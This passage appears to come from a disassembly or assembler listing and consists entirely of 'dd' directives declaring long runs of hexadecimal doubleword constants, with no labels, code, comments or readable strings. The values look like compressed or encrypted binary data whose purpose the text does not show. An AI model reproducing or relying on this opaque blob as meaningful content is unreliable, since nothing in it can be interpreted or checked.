		dd 3391D3D6h, 97E68618h, 82FA214h, 47C06F04h, 0FFA08FACh
		dd 6F92AFDBh, 0E8744B0Ah, 4907420Ah, 7FE7BE46h,	0C69E7360h
		dd 0A0109F51h, 82000977h, 0C2CC99Fh, 138EF12h, 0CBB0BB8Eh
		dd 0C65B7524h, 0AF9A3845h, 0E1D56DA5h, 2A2ED1EDh, 1423A76Bh
		dd 57095A12h, 0E9D756D8h, 7350747Bh, 13C0E50h, 91162595h
		dd 2E02ED83h, 0B429B32Dh, 0E9042EA8h, 3011BD31h, 4D253BDh
		dd 52189D6Ah, 0E78074B8h, 0C4C3A563h, 4609A300h, 0F1B4B07Eh
		dd 9F3FB28Bh, 0B56297F6h, 1672D7F9h, 4FBBF97h, 0ECD5FF3Bh
		dd 0FE8AC527h, 0F60675AEh, 70A9A170h, 18B5AC41h, 0AC4F590Eh
		dd 6CF400E4h, 0FDBB0171h, 7E599AB1h, 0C8C54F18h, 0DA2674ABh
		dd 0F4A3C084h, 93603DDh, 0EC34C62Eh, 0BCDA92A5h, 0EE302569h
		dd 0DE8A2791h, 425408BAh, 0B42A02D4h, 8BA26063h, 5C8E9277h
		dd 48CD2599h, 0AAE3E8C0h, 542900C2h, 8BBC791Dh,	1463C5BDh
		dd 982050C3h, 0C21BED95h, 1EF58D13h, 0F033857h,	0A30A5E8Bh
		dd 129522A5h, 0F361A7B1h, 53521A73h, 98BAD254h,	3BEC169h
		dd 3D0801BDh, 5A6D3F72h, 15F2C1A6h, 0B7B71630h,	3BDB008Bh
		dd 14215D88h, 503DD196h, 0DB5FDF3Bh, 0CB6180D5h, 1A5A6CE7h
		dd 4C664453h, 0FAC25E13h, 0BF60715Eh, 4BE1490Fh, 2568CA3Ch
		dd 808F7B21h, 0ADCC3FDh, 1C0E16A2h, 61302755h, 96D2E693h
		dd 74662B7Ch, 9D140EF8h, 0E49F32F1h, 3BA9D5A9h,	5896BDF0h
		dd 0F5C0219Ch, 2F805A23h, 0DAA6F005h, 0FC4D2CE4h, 8C84C90Dh
		dd 0BC5B61F3h, 8589C766h, 4D641A75h, 0F78470B8h, 0D6E9C09Fh
		dd 55001DD8h, 9BE2309Eh, 97A65E18h, 87D5499Ah, 79B9BA29h
		dd 575E4428h, 2C29B3E8h, 112D09F8h, 4D6B0879h, 174B42FCh
		dd 0F1CB9740h, 73529017h, 280E42E2h, 4EE71B57h,	387542A3h
		dd 0EC402A7Eh, 0FA5FA35h, 0E0800534h, 0A86FDDA6h, 46B5AF90h
		dd 0F3969578h, 28E9F816h, 9B5A3AACh, 0CD9D81E1h, 0F300DD0Ch
		dd 609F208Eh, 4AC9B5BFh, 4F9FB708h, 0D700E46Eh,	0BBB0CBBCh
		dd 0C0B6982h, 559D3160h, 38B1D3E0h, 55B5614Eh, 0B4E1202Bh
		dd 6900CB23h, 3714A43Bh, 0EE9DF73h, 0F5806051h,	0BC11BE60h
		dd 0BCC25D98h, 400F33E7h, 4A853130h, 0BBA31625h, 0C0C37C9Bh
		dd 0D4E2BC62h, 0FB9D25D5h, 0E0C78502h, 6377526h, 84618F81h
		dd 122EFCF5h, 1FC6FD1h,	7902A16Ah, 9880900Bh, 0DC44BB50h
		dd 24F35664h, 0F54B7E84h, 7D95C492h, 7EB5B658h,	733EDCD4h
		dd 1EA500E7h, 0C8310D32h, 0E71A9708h, 76E9CD56h, 0A62CD486h
		dd 0EE0F2F67h, 92B61A56h, 0D1194110h, 0B016E3Fh, 4097061h
		dd 38AB0F61h, 4F8489BCh, 5AE6E02h, 6050737Dh, 0E7FBB6D4h
		dd 69B802D1h, 557E32DEh, 7D7C0BA9h, 67B90DDCh, 0AFB589CDh
		dd 0A576D1C2h, 2FBCCF6Eh, 0E5D105D4h, 91426BA1h, 2E7BE956h
		dd 41D1C038h, 2D8089E0h, 0C08A7604h, 0E5E19C09h, 0C06AF11Fh
		dd 181BA840h, 0A7AEF4DEh, 601444E3h, 4BE780DCh,	33C88CE0h
		dd 1599D12h, 0D900A4E2h, 0F2FEBF50h, 84923AEDh,	4B18F33Dh
		dd 9D608B98h, 0F1D79E9Ah, 19C92C83h, 2E61D1DDh,	0BF669960h
		dd 0B6AE5AC0h, 6733B42Dh, 574220Bh, 0DC30BB1Dh,	0FF6A2DC5h
		dd 0F91EF05h, 0BAED8888h, 7862939Bh, 73166DD1h,	0FCF8480Dh
		dd 0C0ECB996h, 18DAE269h
		dd 0E9B60087h, 8BE073CAh, 31975BFEh, 41521ECh, 40048074h
		dd 0F26DB966h, 61F0128Bh, 0B12AE0B0h, 48E61240h, 0C0DD0C70h
		dd 11859448h, 0A1019623h, 9A86F476h, 0B12A07ADh, 6012FA5Bh
		dd 971F41CEh, 8E0F819h,	85F84BBFh, 895AFDF2h, 97EE70DEh
		dd 0AC006E4Ch, 71E17062h, 1644F57Ch, 13B8DD33h,	7F273h
		dd 1EA3E3AFh, 9FFD6C20h, 0D811D17Ch, 2B0CC673h,	68B798C8h
		dd 3E88BFD4h, 954B3BA0h, 1002E3EBh, 0E926184Dh,	56604205h
		dd 5F1D97Dh, 0EAC28B5Eh, 18016609h, 97A36733h, 0B16EEC0Ch
		dd 0BCB31A4Ah, 3F338028h, 0B113DF81h, 855102DCh, 66550E55h
		dd 0E96E803Eh, 93599543h, 0B7F464A5h, 0B9337284h, 862C88F4h
		dd 55719589h, 0B55F5777h, 735B4D49h, 1BA834E9h,	3641A8E0h
		dd 1AC27B67h, 0BA945521h, 2F5FA021h, 0A140674Dh, 0FE53ED86h
		dd 8C6A1A55h, 587D7602h, 0A62BF335h, 0DB08F00Fh, 607E0276h
		dd 0DA8BEF37h, 0B9622E5Eh, 0A6897844h, 476C011Ch, 725ECC75h
		dd 0F5132E54h, 0F8E0B2E6h, 0E001BEB1h, 4FC7C806h, 0AC41C525h
		dd 0FC021A6Dh, 1E21D782h, 0DBC02B02h, 55E6704Ah, 0BD278E90h
		dd 6B129B9h, 5A5931A5h,	0F024FAD2h, 0B2F5DDACh,	0E4F34848h
		dd 0A0AC1FC4h, 809ADB93h, 59268F03h, 0A2EA04E2h, 87F5CF36h
		dd 90AD284Fh, 0BD168834h, 99FCD0Ah, 0EB5677D9h,	0E20B31C5h
		dd 0DEC45413h, 0EF0B1546h, 4804F955h, 0D22FABCFh, 2DACF64Dh
		dd 60EC4702h, 4A799D09h, 7642ADh, 0FE75BE7Ah, 610927B4h
		dd 9E4D35F7h, 81F2DF2Eh, 299AD5C6h, 13B52B9Dh, 88B3282Bh
		dd 97DE8A88h, 38539712h, 257A2770h, 2864F6C0h, 42944F09h
		dd 25EB5A15h, 0FE5B03A5h, 16BFB5A5h, 9381BA41h,	9030D63Dh
		dd 8F164B1Dh, 0C019C8C4h, 0B963DB7h, 258D643Bh,	11BBC523h
		dd 0BE044B97h, 97B85FD9h, 8120A0A2h, 2170DFD3h,	57646097h
		dd 0BDC1B953h, 0D33AAC6Eh, 0D98C6645h, 0C1E00CA6h, 35027670h
		dd 10699ECCh, 0DEC3C18Bh, 89C7012Eh, 2A1DDDBDh,	572241A3h
		dd 7D852909h, 99C2732Dh, 0EE951A51h, 24AF5B05h,	13C5001Ch
		dd 74F952E6h, 5E5F9000h, 0C02D263h, 32532C08h, 9551AA4Dh
		dd 6AB7A04Ch, 0A82720D6h, 333A91h, 7C64CCFBh, 0C7BE2E7Eh
		dd 0DCE1D501h, 5250A560h, 0E3036833h, 53162391h, 0CC1CDF80h
		dd 91A0574Fh, 585A275Fh, 0C7AC6452h, 0ED2BBB05h, 15D4794Eh
		dd 0FBEC19B1h, 25A7984Bh, 0E9C71CDDh, 9A015924h, 5F565078h
		dd 30BA562Eh, 18A81DD7h, 0A232E500h, 870840EEh,	89410126h
		dd 3846ABB6h, 6E6A9F2Fh, 100940B7h, 9860520Ch, 4EC6974Fh
		dd 0CE5F6139h, 0AAE237F6h, 0D0252C70h, 0B48D4E69h, 0C801D499h
		dd 78FEE006h, 9420FB8Eh, 8D95A221h, 0DA3F5627h,	0CB1DC8CCh
		dd 8551D174h, 41E97560h, 8F08AA27h, 79BD0917h, 0DD4AF1ACh
		dd 0B5AC26DEh, 0B15BECF6h, 0AD4E542Eh, 8C19ACE3h, 72FB6900h
		dd 9A1BF8Fh, 66D2D85h, 0F82155Bh, 4060DFB7h, 80134DAFh
		dd 8812B966h, 74AA616Dh, 0BA6AAA82h, 424EE600h,	0CD07A97h
		dd 0FB897627h, 214E78E8h, 0C4022C7Ch, 40C94B32h, 944C19Dh
		dd 0ACE1AD14h, 83028C19h, 2AB22767h, 56C86A2Ch,	0CBCD25DAh
		dd 322B28C0h, 2DAD28B8h, 5D8D1793h, 93D5A82Ch, 0CEC0CCECh
		dd 35C1DB09h, 0D59C3D1Fh, 46487840h, 0E40120Fh,	4730E94Ch
		dd 33058EE6h, 9CB0BF04h, 53FE6999h, 0E0ECE6BEh,	2E36EB5h
		dd 0F2896510h, 30DFF514h, 5A13BF7Dh, 0B26BB619h, 29713014h
		dd 2DB527h, 2CB968C1h, 84BE4E4Bh, 2E01AFFDh, 41D3D746h
		dd 0B0C0342Eh, 4F04CCCBh, 10518D31h, 1CBD02BDh,	1D02CDCFh
		dd 5829BEB8h, 11F540C7h, 0DEB7800Eh, 5960502Dh,	565B00ADh
		dd 9C471DC2h, 5893C702h, 603EEC81h, 4F8B5EC2h, 0EDD551F3h
		dd 65A1B713h, 0BDFC827Ah, 2DD1D8D7h, 0A57D0B5Fh, 92B66177h
		dd 0B71D72E0h, 0C5E0D304h, 85815D3Eh, 0B2051CD5h, 1F03D25h
		dd 40BE91E4h, 382E1938h, 0C33B81FEh, 73EF928Fh,	2A89CCB2h
		dd 0F4F665FEh, 57E52DD7h, 0C7266159h, 550FBD09h, 80D0289Dh
		dd 2A4D4DDFh, 940070BCh, 0DA899DCDh, 7C9ACABFh,	9002B5A8h
		dd 0DD5C7DBBh, 63ADA251h, 0A9A093DDh, 0CE4B3EEBh, 81238C34h
		dd 1016412Fh, 0BE5C44BFh, 400EC490h, 0CEF34252h, 0F1180054h
		dd 0EB9A6C27h, 0B04F5A33h, 0AF6F8220h, 0E0F90126h, 0F3E7F8ABh
		dd 8A5CD2DDh, 95F466Bh,	339D8531h, 2982C05Bh, 572C51BDh
		dd 0B595A216h, 7FB60478h, 1125FFFCh, 0E7F96483h, 81C9029Bh
		dd 0E20B5421h, 315CDF8Bh, 51093B6Dh, 0F2CD206Eh, 0A37DB296h
		dd 1F395912h, 5843F3B7h, 302D5DF1h, 265A012Ch, 0B6D70BB2h
		dd 57E1A0B5h, 202698EAh, 5C96100Dh, 0FBE58469h,	6E5EE7ACh
		dd 94200C37h, 0A9F5B4FDh, 9049E899h, 3B50D0h, 2A0F23Dh
		dd 5FFE8BC2h, 71F18B95h, 0DB7C01F1h, 0EC92068Ah, 2D00B2D0h
		dd 624516BDh, 7A892F8Fh, 6F9925A4h, 0E394FE66h,	55624409h
		dd 95C1FBAh, 343F71DCh,	0FBC8FC8Ah, 0C401DD4Eh,	118A1199h
		dd 0AEBFF901h, 79673534h, 0EADAD789h, 0A5CB8F80h, 970C21BBh
		dd 0DC70B353h, 5A99F0CFh, 0B291E750h, 2698FFF9h, 9500BAADh
		dd 588FD57Dh, 2CA6D3BDh, 10628960h, 79232509h, 0E56112B5h
		dd 0FE7C045Eh, 4FE07AE6h, 6EB5FC45h, 0D481BC09h, 0FCBC0812h
		dd 51895BE2h, 0BD6015EFh, 2785BAh, 0BB5097B3h, 54D7D9B9h
		dd 6376BCAAh, 259D01DCh, 26D266Bh, 52D36C89h, 50B39222h
		dd 0ABE3844Bh, 0CF80A32Ah, 4AC9050Fh, 16F88548h, 37AD28E1h
		dd 29C489CFh, 0F28EAA21h, 0F1A66A2Bh, 0F8CFC4E6h, 0FD741A97h
		dd 8DCDA080h, 21209529h, 0BAC64F15h, 8C1FF86Fh,	0AC2583E0h
		dd 8F8AA17Bh, 0B908F556h, 9A52808h, 610C8CE9h, 1472047Dh
		dd 60603CAEh, 5AEFA0C2h, 4F81C03Dh, 0E9611289h,	3D77E169h
		dd 24DB8ACh, 0B5012876h, 0FCFC03C9h, 9086BF81h,	0BC601A0Ch
		dd 9C204BE5h, 8102607Ch, 0EE7162C0h, 7DCD406Ch,	6A618124h
		dd 0A0043212h, 0B1CC310Fh, 12BB0020h, 656FCC54h, 12B55F4Eh
		dd 0DC5C5E34h, 3A6F6335h, 5B2F891Dh, 0A20978EBh, 0E6859309h
		dd 0A0F550ECh, 0A0267D3Dh, 0EFF0997Bh, 0E0364DDAh, 410219A1h
		dd 53710B97h, 0F4277180h, 780E73C2h, 28E8EDADh,	5BD88009h
		dd 9F1C80F1h, 893E326h,	2F31B509h, 880FC25Fh, 8012F30Dh
		dd 662E96C6h, 5F0956D1h, 7950905Bh, 0C2803E35h,	0A4880E05h
		dd 3D002F03h, 5DAC87DEh, 0A8514E7Ah, 0D13B3Fh, 0BEF46EECh
		dd 5F43FE4Dh, 539002C9h, 67C270D1h, 0B2B0CC12h,	2B12A6FCh
		dd 9DDBE416h, 0B64E1A46h, 0E016A0A5h, 7FC8022Eh, 0EDCD644Bh
		dd 0D60074D1h, 0F65D102Bh, 0D152094Eh, 0E971D725h, 0B098996h
		dd 8BEF7332h, 3F09D1FFh, 0B644A559h, 22B06EF7h,	0B50E8020h
		dd 4B500F78h, 50097C8Bh, 0D517B228h, 3500AB2Eh,	0DA52C1EEh
		dd 0E9D704E8h, 0AB026A5Bh, 1600D36Eh, 4F7EFFBEh, 0EB2D56D2h
		dd 1059CFh, 0BE0BE099h,	7200F59Ah, 0D8210239h, 8C20FEh
		dd 0F2C36B70h, 0AB95BF90h, 50521B1Dh, 70A3F3EFh, 4B0775E4h
		dd 0EDF517DAh, 61CB8209h, 0E9EF5C1Dh, 140C0D8h,	8EBC4BE9h
		dd 0F0A310D2h, 0F9245648h, 0C556A58Fh, 0C660BDCh, 0AA6430ACh
		dd 0E7B74100h, 0F4160A18h, 8F3D01E6h, 71688D30h, 316BF825h
		dd 9ECD8526h, 0A4B95F92h, 0A0B2B6D7h, 0E1C89B7h, 82B89136h
		dd 0A99D8B41h, 5790021Bh, 0D302A03Dh, 5EFB8B98h, 0E740C911h
		dd 0C595F4F1h, 3085089Bh
		dd 3B375552h, 6FC8B00h,	965752ACh, 0DF8160BFh, 9B0902ADh
		dd 0B7FF6A2Eh, 5709D2Dh, 9028EAF0h, 5AA4DEA5h, 0E18A5705h
		dd 6AC16159h, 7A3B140Dh, 2FFF00EBh, 8957D6B9h, 0D81C4BFCh
		dd 58B1818h, 2D40D77Ch,	5B48FFB0h, 70E60121h, 9D718D29h
		dd 5066E487h, 0D6BBD460h, 67AC3FB1h, 51A5953Ah,	0E98CFD73h
		dd 4B0B10h, 0A21FEC90h,	0DB95D0D9h, 82F18D01h, 896B8677h
		dd 0B7174B2Fh, 0BF60B056h, 5C356034h, 0B05F0327h, 0DCB71B24h
		dd 0BCDF4479h, 8ABB0201h, 5502CAB4h, 7BDD3468h,	0E1A3E980h
		dd 660B602Eh, 7804A87Dh, 8B827E88h, 19D20FEh, 255AB98Dh
		dd 883BB4B3h, 0B70A7E45h, 2380F31h, 0DA46F2BBh,	91EB5C4Eh
		dd 3F04B21h, 51668A65h,	86B0C000h, 0D7B2A24Eh, 0B1804FD3h
		dd 1D6D586Fh, 0E65F9425h, 8D5EB505h, 49218965h,	66001E85h
		dd 3D4BD1BBh, 35BB15C5h, 0FDA882F7h, 30975B70h,	0BF97B70Dh
		dd 20F5F88Dh, 2EA8045Eh, 94971C0Dh, 6FE4210Fh, 781819F1h
		dd 0FEA3030Fh, 0F442FAD9h, 0FB1B1689h, 0D896E09Bh, 0CB006E5Bh
		dd 0E4B90DCAh, 5A3CF005h, 0A6848863h, 98F24500h, 0E6C3BF61h
		dd 0BB8D00C2h, 2778CD55h, 0B75DB95Bh, 246E4A3Bh, 3B271601h
		dd 3A35668Ah, 4BC78410h, 0C15D0E94h, 0DE40ECh, 9046D35Dh
		dd 7A7C8011h, 0F9169790h, 4505C02Bh, 23AB2841h,	338A9DCFh
		dd 0AFBF043Ch, 0FD63FFDBh, 7EB872h, 3E300A3Ah, 49E28060h
		dd 61125694h, 53272DF2h, 7551FDE0h, 99C539Dh, 0F6713EB3h
		dd 0EBD565A5h, 1F503BF3h, 0CEC005E2h, 0E6F627EBh, 873FE2A6h
		dd 220579E0h, 5D0062A3h, 984A8AC7h, 694B1649h, 6A2ECD8Ah
		dd 160EFCBAh, 0BAF6A1h,	0B0BBF97Ch, 208D1690h, 9D7931B8h
		dd 0BAD5C2D5h, 0A903FDC8h, 4B98884Ch, 6E583947h, 4DE12D2Ah
		dd 8F9BC030h, 5B02094Eh, 99E32D10h, 52AF5C9Eh, 0ED2582F4h
		dd 0AE49E0EFh, 3B138546h, 67044D10h, 1DEFE4C8h,	0BE96826Ch
		dd 0D85C2C75h, 0AD684A53h, 72AFE825h, 8D7712A6h, 0D7CFBC55h
		dd 0ECBFD4C0h, 6C5F2588h, 761A01E5h, 0D5BF578h,	4556A70h
		dd 31A2C705h, 0A2A217h,	9D822777h, 715B58h, 7012DFD6h
		dd 6089A6B1h, 0FA972A98h, 90B79774h, 0A0CB6D0Fh, 3C0C27EFh
		dd 11A19746h, 225F98Dh,	0CA90D760h, 0C401A923h,	3CBBCA21h
		dd 0B82052B4h, 3A314995h, 28E96125h, 0D333A6C4h, 5B184509h
		dd 9210AF11h, 47017A0Ch, 896E7BE3h, 312F2FF5h, 60BF5711h
		dd 71034F09h, 27B7905Fh, 0DEB0D050h, 907A794Ch,	34D12E7Ah
		dd 0BD23618Dh, 0B928A1h, 25D0685Fh, 6B506EFAh, 0E45D0452h
		dd 0A7E5BD78h, 0DBB70CB1h, 2FE7C83Fh, 6EE52612h, 2825FBF8h
		dd 25BE3853h, 6482CDFBh, 0ACAE601Bh, 92FE05BAh,	0ABCD8048h
		dd 23DE6913h, 94A1C481h, 2B99214Ch, 0D1BD9524h,	0B60297BCh
		dd 30F5D0F9h, 874C55F3h, 0C6FE8B25h, 0ECE6BD6Bh, 59E4F397h
		dd 0BA81816h, 89F590B5h, 0EDFDAFE0h, 598B5B9Dh,	0BC841815h
		dd 473D1952h, 6FE9D923h, 4464B91h, 0AB84F39h, 0C502A679h
		dd 7043F0B2h, 3D4A56B8h, 60F78103h, 0E5E5CFA7h,	2BE03B48h
		dd 0F8CF9FE3h, 0DC014A61h, 9D2BCEC0h, 0BB165A16h, 0AA099452h
		dd 115AD1FEh, 4A6E1E0Fh, 5DCBC700h, 5769CFh, 30E161A2h
		dd 0DE8F44Fh, 0CEA836A0h, 0D7D90300h, 0C4ED71A0h, 906C0125h
		dd 0FFA282BFh, 0ACE13B7Ch, 305052C1h, 0A8484Ah,	0FC74651Dh
		dd 7C7E5AD9h, 0E6205809h, 52BCDA91h, 1262D75Bh,	14D058F8h
		dd 0C49F2041h, 3CC6A5BCh, 0A0903BCFh, 58DD463Ah, 1F5FEC50h
		dd 252EE67Fh, 0E87BF011h, 0CE167D44h, 79BD887Eh, 0E28C19ACh
		dd 1B74397Ah, 93729A30h, 611201DFh, 0F0B272B7h,	0E2E1F6D2h
		dd 3806F47Eh, 0AB16040h, 10E400BAh, 0C0C7033Ch,	592017Dh
		dd 0CFCB095Eh, 53292B61h, 7F46E52Bh, 0BA091D6Eh, 20715CBCh
		dd 4B58584h, 1A82B43Bh,	1DED5794h, 726ABBE0h, 5C0FF688h
		dd 5780F683h, 1F8D9529h, 0FC5B33B2h, 1AC5889Dh,	16B0CE6Ah
		dd 36E90481h, 6CB33BE9h, 66F7BF29h, 739F5E52h, 86267868h
		dd 9D2B5404h, 68B90E69h, 0F8535717h, 17FE359h, 2BF0EAC2h
		dd 2E53385Ah, 84095334h, 500D5629h, 0D26E381h, 6D253EFCh
		dd 601C644Dh, 2C6C02Ah,	3A0F966h, 50A0384Bh, 291AE398h
		dd 0DCFE5C00h, 96F53077h, 0FAD6C750h, 4F4D6928h, 0B75B66C0h
		dd 7B261351h, 8017F843h, 37F50ACh, 0D2683E98h, 0FFB5D648h
		dd 521B171h, 0BCF84D0Ah, 381E12EBh, 93E2ECD7h, 6B8EDCBCh
		dd 28397860h, 0A301C882h, 0CAB442Dh, 0CD54DDC3h, 0D69A9EABh
		dd 0C44A7EE8h, 0ACDDAD81h, 96138C16h, 92C8C598h, 928609BCh
		dd 482E2A0h, 0A3420B7Dh, 23C555h, 6946BAE4h, 0A300A4A8h
		dd 0D0F10B29h, 975FC93Dh, 1991FF35h, 96582280h,	0AD4C7678h
		dd 334912CDh, 244B02F7h, 5C90EF06h, 503924CFh, 4A79F53Ch
		dd 4AF9B630h, 4F80899Ah, 36542CF1h, 0F0B4794Ah,	950570BDh
		dd 7128EA65h, 0AADFC4Eh, 968C1CACh, 0C7F00296h,	0D56228E7h
		dd 0FD373198h, 0AC364100h, 33784922h, 62E709B1h, 861B2C69h
		dd 42BD784Ah, 33959D82h, 91103757h, 0FE5F801Ch,	1D92707Dh
		dd 2F347CFAh, 0F88AC018h, 3B5F10B7h, 146A0BCDh,	888B962Dh
		dd 0DE77FD50h, 2FDCA096h, 0B8709E8Eh, 843A0341h, 4A5AFC68h
		dd 1CC844DAh, 181457C9h, 0BA97B2E2h, 47A9ED01h,	0BF46E086h
		dd 7E2584DEh, 1106E514h, 0F54370h, 0E5252F5Bh, 0E65A1EBDh
		dd 65200EADh, 15D91D9h,	0EB473208h, 0D6886A96h,	0C0540036h
		dd 23D22A40h, 6B741089h, 3C63B001h, 61605250h, 9F67F32Ah
		dd 603E0AE8h, 2FEC4E56h, 6B2461CDh, 0D1C5019Bh,	0C56F81DEh
		dd 5FD24A28h, 2D7564C1h, 6784FB04h, 0BB5B2DB8h,	0AE48986Eh
		dd 0E626A02h, 1748FAFh,	1D46D6h, 0B13CBE55h, 44C15DAh
		dd 8B4B70ACh, 0D24CBCF9h, 2CAAC312h, 0B3883984h, 2C9897C1h
		dd 495A8D89h, 0EFC65309h, 6D414061h, 51759E3h, 86B10ED3h
		dd 78185EC2h, 0EA12EB80h, 10F063E9h, 209D9056h,	5B16311Dh
		dd 16A9C18Bh, 4AC12EB8h, 0ACE0A447h, 0BCD0B7CCh, 53BF09A4h
		dd 508F1379h, 0C5C8C2BBh, 4420D40Ch, 0ECE3D8FAh, 15D35A0Fh
		dd 9248ADCBh, 866D9B2Ah, 0C23A4E28h, 0AA82E38Ah, 27042307h
		dd 0A4D6FAAh, 56E86097h, 91961300h, 24CF8418h, 1DAF21B6h
		dd 25B45D59h, 8F5EEEC2h, 96D2501Ch, 55B16CF7h, 1EE134E0h
		dd 0B55182h, 0EE494035h, 0E76345DDh, 5FF8F95Eh,	46FCF708h
		dd 0C0CCB1A1h, 46D352Eh, 2029D6h, 64F6BB60h, 7C7258E8h
		dd 0FF61DB01h, 2ED98AD1h, 0D6C37D28h, 80BCDB59h, 0F5AD306Fh
		dd 1256036Bh, 36BB6661h, 880F718Fh, 689C2A10h, 0CC92003Ah
		dd 3F3071EDh, 6A73830Ah, 2045F73h, 24358509h, 0AB7E25EBh
		dd 1C271A20h, 97951374h, 8B854067h, 615F57FBh, 764D329Dh
		dd 7D28D4D2h, 0DA9DE137h, 0BEB59D89h, 15801B91h, 0DDE07B8Dh
		dd 0AC84D714h, 942D3C8Bh, 9785870Fh, 0FCD1CCBEh, 15956C02h
		dd 5C0E38E9h, 452D598Ah, 0B9AB9883h, 0C8884201h, 1E515F89h
		dd 0AF924F3Ch, 2679E828h, 2545290Ch, 8549175Eh,	52BF9DE7h
		dd 5E74B7CDh, 7EA38EB6h, 0F20ECFF8h, 59BC532Dh,	4124019Ch
		dd 0E8BDFE9Fh, 0BA00E847h, 114E402h, 0A612599Dh, 1004D2F8h
		dd 9A40F1E1h, 50265BCAh, 140A9242h, 6CF829A6h, 7CB5C424h
		dd 5F09CFBDh, 739D7E70h, 1CA8F0A7h, 0ED112702h,	0F55E3F64h
		dd 0E3034D7Bh, 0E46A2F25h
		dd 4FE0D5B6h, 765A35C0h, 46957587h, 48218A82h, 2F2956CFh
		dd 32C2D98Dh, 2D69B955h, 5E2BA15h, 398D0904h, 1CB00C03h
		dd 0E5DE5AB7h, 84FFD94Fh, 0F673C3B6h, 0BF7682EAh, 4D5AFA89h
		dd 0BB550360h, 4B62A25Eh, 0EE3D8510h, 40AC2734h, 61FE5299h
		dd 38092B4Dh, 32418431h, 503CB012h, 7DC9BF00h, 2B5B7B13h
		dd 0D7F0C8h, 8B3D3C17h,	858960D1h, 173EBD5Dh, 2F00CE81h
		dd 0E9612AE1h, 6069C9BCh, 6B009571h, 0B15B981Ch, 621300BFh
		dd 1EB9A71Dh, 20B587Eh,	0D8DD8A4Ah, 4C443814h, 0EC4B9EDCh
		dd 803C937h, 5AADA239h,	80D89140h, 0F0D2D984h, 0B401E723h
		dd 0B6D1DB81h, 2AAD0839h, 0ED094BD8h, 0D507F92Fh, 95299938h
		dd 440A6D22h, 0BD16895Eh, 52B9107Dh, 0E142A0D3h, 6EF3014Eh
		dd 5913205Ah, 7A00F34Eh, 0CF487704h, 3A0CA72Ah,	0BDF8763Fh
		dd 0FEB1DC60h, 0CC5F7E25h, 22E9505Ah, 9F2E0781h, 60F10A85h
		dd 93CF64Bh, 9E612902h,	909589E4h, 259D2392h, 66C52671h
		dd 927F9B0Fh, 0AABC37ADh, 0C057B64Ch, 3C326768h, 0FB060BA5h
		dd 0CDD56A11h, 0CEBC161h, 0D2B1F483h, 24265824h, 3165BD05h
		dd 4069B1E4h, 19976119h, 0BA31579Ah, 5CDD0658h,	0BD89B113h
		dd 0B97EABFAh, 0AAA7105Ah, 8E82BEA0h, 8592FD04h, 73B8888Fh
		dd 0E000B64Eh, 2D1CADE1h, 2440A6FAh, 70E9FC33h,	3B1641DEh
		dd 9230C02Bh, 48EE42Ch,	23E50FAFh, 0D294FABDh, 0BBBCD4BFh
		dd 0DD00A06Fh, 1EB73298h, 21127B2Ch, 9B30F8D7h,	145AB0C4h
		dd 9D65C01Fh, 1BB19D09h, 0D768AF73h, 0CF561C90h, 509D331Ch
		dd 8D010A10h, 0D8BE3F9h, 0E0DF5E88h, 0F4F9D218h, 22B9A300h
		dd 0DE82EED4h, 38EBF87Eh, 27FC6939h, 489A2838h,	0AC10E980h
		dd 18977DB7h, 1A3BB3B0h, 5D03890Fh, 0FE252454h,	0D95B5C47h
		dd 0A14EC9E3h, 0CB7B1C3h, 0BF002635h, 0A425F64Ch, 1183C528h
		dd 5CC84A3Dh, 0BAF72580h, 0EDA72373h, 779D4096h, 0CE7C9EEBh
		dd 0AE358ED6h, 0D63D2609h, 0E2E11268h, 5508556h, 27A1D6E7h
		dd 1D1F3089h, 0C2FFF997h, 0EF5F053Ch, 0FA9F40ECh, 961751C7h
		dd 104F517h, 8BEA0AEEh,	2804201Fh, 40BA3360h, 8B1E6618h
		dd 3FEB61C3h, 996D758h,	1376664Dh, 6CE9C480h, 5890540Dh
		dd 22163D27h, 0F530D522h, 0CDAD6971h, 863441E1h, 32EEF4DAh
		dd 0C135BD09h, 0D5045060h, 0F8933DCDh, 0B2E0D6E5h, 5F0497DAh
		dd 1143B9FCh, 0B5080149h, 14592695h, 0F3F9AB10h, 8C9AAF00h
		dd 33A7F752h, 18A7356h,	35CFD9CBh, 2E6FBC5Bh, 9BBA4E57h
		dd 1094C181h, 57B594Ch,	0D4735DA1h, 0C1979BEDh,	74E9B87Eh
		dd 5119BD64h, 80474D27h, 39AE1B94h, 0AA50265h, 0F28B6021h
		dd 0A84D87E5h, 44882360h, 0D504BF05h, 8B3E8F1Dh, 0F8DDD3A8h
		dd 24B1B716h, 9E20FE0Fh, 28D6BFAh, 516DCF81h, 0F1F7D57Ch
		dd 585F8BD2h, 0B71C6D3h, 6F759C41h, 4E5342Ah, 0AE1CE9F1h
		dd 0EEDC4776h, 0AD024F59h, 32AC8009h, 2CBBA43h,	0F827CD26h
		dd 24401DA3h, 0D20BDCBFh, 0EF0296E9h, 0BF7940D3h, 3A3CE6EBh
		dd 0BD134E22h, 21A9B904h, 3D5D2DAEh, 18F4A8E2h,	5653AE68h
		dd 5B812FB9h, 9C801D28h, 0EF2D64ABh, 8DA54D00h,	20A8750Bh
		dd 76821216h, 5EE1E217h, 0BB6EFEh, 2DFAEDB7h, 9F7F83B5h
		dd 817DFE5Ah, 8579DE04h, 0BBC5B5Ah, 94B08D2h, 4B96F0A5h
		dd 5B11CB20h, 0C500516Ah, 93E45FB6h, 9186247h, 610260C7h
		dd 86E83A80h, 0F0F7C150h, 2753B589h, 0C2903078h, 0DE8BD888h
		dd 91773557h, 0BFB3801Ah, 12E88FE5h, 0F1F86732h, 0C0261A3Ah
		dd 3751D61Bh, 53312526h, 1BDC8E8h, 54A82F9Fh, 0C6855ECFh
		dd 0B8E03EA6h, 0F601C5E8h, 0BB374CC6h, 302F472Bh, 0E1BD295Eh
		dd 979D4797h, 0C0C4A850h, 9691ECE2h, 9B491657h,	50FFD139h
		dd 3237A60h, 8AAC885Eh,	5049B721h, 9D64D361h, 38BCDFD3h
		dd 15C7BB02h, 235E7C47h, 0CD58F962h, 1E4DE044h,	3800202Ah
		dd 4EF10179h, 0BA3D9D89h, 0C2539527h, 0DE181C59h, 0FBCD3200h
		dd 0BFB5F1D6h, 60CFA2F7h, 1797B7AFh, 0AD5025DBh, 4CDFD094h
		dd 0BD6E4B14h, 0FC86FE00h, 80C6F273h, 0E5CEDB25h, 0D1625084h
		dd 0A5CBD538h, 61FE41B1h, 0B8F06636h, 0CF9905EDh, 7BA58B80h
		dd 4A77098h, 0F4C3ED2h,	0B5AEBC38h, 156B97FCh, 3C04F3C4h
